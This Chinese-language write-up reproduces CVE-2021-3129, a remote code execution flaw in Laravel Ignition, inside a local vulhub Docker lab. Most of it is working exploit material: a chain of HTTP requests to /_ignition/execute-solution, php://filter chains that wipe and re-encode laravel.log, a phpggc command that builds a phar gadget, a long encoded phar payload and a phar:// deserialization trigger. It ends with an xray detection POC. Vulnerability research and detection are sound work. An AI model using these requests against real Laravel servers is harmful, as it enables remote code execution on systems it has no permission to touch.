【漏洞复现】Laravel Ignition 2.5.1 代码执行漏洞（CVE-2021-3129）

Laravel是一个免费的开源Web框架，Ignition是其内置的一个组件，用于可视化的显示错误信息

在debug模式下，Ignition2.5.1及之前的版本由于过滤不严存在命令执行漏洞

漏洞代码

$contents = file_get_contents($parameters['viewFile']);
file_put_contents($parameters['viewFile'], $contents);

viewFile参数可控，攻击者可以通过phar://协议执行任意命令

如果有文件上传点，可以直接传一个phar格式的文件触发反序列化

没有上传点则可以将本地的log文件变成phar格式，从而触发反序列化，这也是漏洞复现部分在干的事

0x01漏洞复现

环境搭建

cd vulhub/laravel/CVE-2021-3129/
docker-compose up -d

发送如下数据包

POST /_ignition/execute-solution HTTP/1.1
Host: 10.128.0.5:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 165

{
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "username",
    "viewFile": "xx"
  }
}

应用展示如下报错信息，表面漏洞存在

发送如下数据包，将原日志文件清空：

POST /_ignition/execute-solution HTTP/1.1
Host: 10.128.0.5:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 328

{
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "username",
    "viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
  }
}

用phpggc生成序列化利用POC（需要php环境）

php -d "phar.readonly=0" ./phpggc Laravel/RCE5 "phpinfo();" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"

phpggc项目：https://github.com/ambionics/phpggc

给Log文件增加前缀AA

POST /_ignition/execute-solution HTTP/1.1
Host: 10.128.0.5:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 163

{
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "username",
    "viewFile": "AA"
  }
}

将POC作为viewFile的值，发送

POST /_ignition/execute-solution HTTP/1.1
Host: 10.128.0.5:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 5058

{
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "username",
    "viewFile": "=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=6F=00=66=00=41=00=67=00=41=00=41=00=41=00=67=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=44=00=49=00=41=00=51=00=41=00=41=00=54=00=7A=00=6F=00=30=00=4D=00=44=00=6F=00=69=00=53=00=57=00=78=00=73=00=64=00=57=00=31=00=70=00=62=00=6D=00=46=00=30=00=5A=00=56=00=78=00=43=00=63=00=6D=00=39=00=68=00=5A=00=47=00=4E=00=68=00=63=00=33=00=52=00=70=00=62=00=6D=00=64=00=63=00=55=00=47=00=56=00=75=00=5A=00=47=00=6C=00=75=00=5A=00=30=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=43=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6C=00=64=00=6D=00=56=00=75=00=64=00=48=00=4D=00=69=00=4F=00=30=00=38=00=36=00=4D=00=6A=00=55=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=51=00=6E=00=56=00=7A=00=58=00=45=00=52=00=70=00=63=00=33=00=42=00=68=00=64=00=47=00=4E=00=6F=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=45=00=36=00=65=00=33=00=4D=00=36=00=4D=00=54=00=59=00=36=00=49=00=67=00=41=00=71=00=41=00=48=00=46=00=31=00=5A=00=58=00=56=00=6C=00=55=00=6D=00=56=00=7A=00=62=00=32=00=78=00=32=00=5A=00=58=00=49=00=69=00=4F=00=32=00=45=00=36=00=4D=00=6A=00=70=00=37=00=61=00=54=00=6F=00=77=00=4F=00=30=00=38=00=36=00=4D=00=6A=00=55=00=36=00=49=00=6B=00=31=00=76=00=59=00=32=00=74=00=6C=00=63=00=6E=00=6C=00=63=00=54=00=47=00=39=00=68=00=5A=00=47=00=56=00=79=00=58=00=45=00=56=00=32=00=59=00=57=00=78=00=4D=00=62=00=32=00=46=00=6B=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=41=00=36=00=65=00=33=00=31=00=70=00=4F=00=6A=00=45=00=37=00=63=00=7A=00=6F=00=30=00=4F=00=69=00=4A=00=73=00=62=00=32=00=46=00=6B=00=49=00=6A=00=74=00=39=00=66=00=58=00=4D=00=36=00=4F=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=5A=00=58=00=5A=00=6C=00=62=00=6E=00=51=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=67=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=51=00=6E=00=4A=00=76=00=59=00=57=00=52=00=6A=00=59=00=58=00=4E=00=30=00=61=00=57=00=35=00=6E=00=58=00=45=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=45=00=56=00=32=00=5A=00=57=00=35=00=30=00=49=00=6A=00=6F=00=78=00=4F=00=6E=00=74=00=7A=00=4F=00=6A=00=45=00=77=00=4F=00=69=00=4A=00=6A=00=62=00=32=00=35=00=75=00=5A=00=57=00=4E=00=30=00=61=00=57=00=39=00=75=00=49=00=6A=00=74=00=50=00=4F=00=6A=00=4D=00=79=00=4F=00=69=00=4A=00=4E=00=62=00=32=00=4E=00=72=00=5A=00=58=00=4A=00=35=00=58=00=45=00=64=00=6C=00=62=00=6D=00=56=00=79=00=59=00=58=00=52=00=76=00=63=00=6C=00=78=00=4E=00=62=00=32=00=4E=00=72=00=52=00=47=00=56=00=6D=00=61=00=57=00=35=00=70=00=64=00=47=00=6C=00=76=00=62=00=69=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6A=00=62=00=32=00=35=00=6D=00=61=00=57=00=63=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=55=00=36=00=49=00=6B=00=31=00=76=00=59=00=32=00=74=00=6C=00=63=00=6E=00=6C=00=63=00=52=00=32=00=56=00=75=00=5A=00=58=00=4A=00=68=00=64=00=47=00=39=00=79=00=58=00=45=00=31=00=76=00=59=00=32=00=74=00=44=00=62=00=32=00=35=00=6D=00=61=00=57=00=64=00=31=00=63=00=6D=00=46=00=30=00=61=00=57=00=39=00=75=00=49=00=6A=00=6F=00=78=00=4F=00=6E=00=74=00=7A=00=4F=00=6A=00=63=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=35=00=68=00=62=00=57=00=55=00=69=00=4F=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=59=00=57=00=4A=00=6A=00=5A=00=47=00=56=00=6D=00=5A=00=79=00=49=00=37=00=66=00=58=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=32=00=39=00=6B=00=5A=00=53=00=49=00=37=00=63=00=7A=00=6F=00=79=00=4E=00=54=00=6F=00=69=00=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=63=00=47=00=68=00=77=00=61=00=57=00=35=00=6D=00=62=00=79=00=67=00=70=00=4F=00=79=00=42=00=6C=00=65=00=47=00=6C=00=30=00=4F=00=79=00=41=00=2F=00=50=00=69=00=49=00=37=00=66=00=58=00=31=00=39=00=42=00=51=00=41=00=41=00=41=00=47=00=52=00=31=00=62=00=57=00=31=00=35=00=42=00=41=00=41=00=41=00=41=00=50=00=2F=00=50=00=73=00=6D=00=45=00=45=00=41=00=41=00=41=00=41=00=44=00=48=00=35=00=2F=00=32=00=4B=00=51=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=43=00=41=00=41=00=41=00=41=00=48=00=52=00=6C=00=63=00=33=00=51=00=75=00=64=00=48=00=68=00=30=00=42=00=41=00=41=00=41=00=41=00=50=00=2F=00=50=00=73=00=6D=00=45=00=45=00=41=00=41=00=41=00=41=00=44=00=48=00=35=00=2F=00=32=00=4B=00=51=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=64=00=47=00=56=00=7A=00=64=00=48=00=52=00=6C=00=63=00=33=00=53=00=48=00=30=00=78=00=33=00=45=00=38=00=76=00=6E=00=69=00=33=00=46=00=74=00=78=00=63=00=38=00=2B=00=45=00=37=00=79=00=47=00=41=00=57=00=30=00=61=00=75=00=33=00=67=00=49=00=41=00=41=00=41=00=42=00=48=00=51=00=6B=00=31=00=43=00"
  }
}

发送如下数据包，对Log文件进行清理

POST /_ignition/execute-solution HTTP/1.1
Host: 10.128.0.5:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 299

{
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "username",
    "viewFile": "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
  }
}

使用phar://进行反序列化，执行任意代码

POST /_ignition/execute-solution HTTP/1.1
Host: 10.128.0.5:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 210

{
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "username",
    "viewFile": "phar:///var/www/storage/logs/laravel.log/test.txt"
  }
}

但是报了如下错误

上传一个标准的phar格式的文件，再次尝试反序列化，可以正常触发

调试了很久= =先放一放

有好兄弟做过的可以交流下

0x02漏洞原理

详细原理：https://mp.weixin.qq.com/s/k08P2Uij_4ds35FxE2eh0g

漏洞代码：

<?php

namespace Facade\Ignition\Solutions;

use Facade\IgnitionContracts\RunnableSolution;
use Illuminate\Support\Facades\Blade;

class MakeViewVariableOptionalSolution implements RunnableSolution
{
    ...
    public function run(array $parameters = [])
    {
        $output = $this->makeOptional($parameters);
        if ($output !== false) {
            file_put_contents($parameters['viewFile'], $output);
        }
    }

    public function makeOptional(array $parameters = [])
    {
        $originalContents = file_get_contents($parameters['viewFile']);
        
        $newContents = str_replace('$'.$parameters['variableName'], '$'.$parameters['variableName']." ?? ''", $originalContents);

        $originalTokens = token_get_all(Blade::compileString($originalContents));
        $newTokens = token_get_all(Blade::compileString($newContents));

        $expectedTokens = $this->generateExpectedTokens($originalTokens, $parameters['variableName']);

        if ($expectedTokens !== $newTokens) {
            return false;
        }

        return $newContents;
    }

    protected function generateExpectedTokens(array $originalTokens, string $variableName): array
    {
        $expectedTokens = [];
        foreach ($originalTokens as $token) {
            $expectedTokens[] = $token;
            if ($token[0] === T_VARIABLE && $token[1] === '$'.$variableName) {
                $expectedTokens[] = [T_WHITESPACE, ' ', $token[2]];
                $expectedTokens[] = [T_COALESCE, '??', $token[2]];
                $expectedTokens[] = [T_WHITESPACE, ' ', $token[2]];
                $expectedTokens[] = [T_CONSTANT_ENCAPSED_STRING, "''", $token[2]];
            }
        }

        return $expectedTokens;
    }
}

主要功能：读取$viewFile路径的文件内容，并将其中的$variableName字符串替换为$variableName ?? '',最后写回$viewFile路径。

由于file_get_contents($parameters['viewFile'])参数可控，所以可以构造phar反序列，从而执行任意命令。

所以为了达到通杀效果，选用一定存在的log文件，将其变成phar格式的文件

大致过程：

使用filter协议，清空日志文件：php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log（非base64字符decode会被清空）
利用log的特性，将phar马编码后的字符送入log文件
filter协议解码，同时清空干扰字符：php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log
最后触发反序列化：phar:///var/www/storage/logs/laravel.log/test.txt

0x03POC

xray社区的

name: poc-yaml-laravel-cve-2021-3129
manual: true
transport: http
set:
  r: randomLowercase(12)
rules:
  r0:
    request:
      cache: true
      method: POST
      path: /_ignition/execute-solution
      headers:
        Content-Type: application/json
      body: |-
        {
                "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
                "parameters": {
                  "variableName": "username",
                  "viewFile": "{{r}}"
                }
        }
      follow_redirects: true
    expression: >
      response.status == 500 && response.body.bcontains(bytes("file_get_contents(" + string(r) + ")")) && response.body.bcontains(bytes("failed to open stream"))
expression: r0()
detail:
  author: Jarcis-cy(https://github.com/Jarcis-cy)
  links:
    - https://github.com/vulhub/vulhub/blob/master/laravel/CVE-2021-3129

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Gridea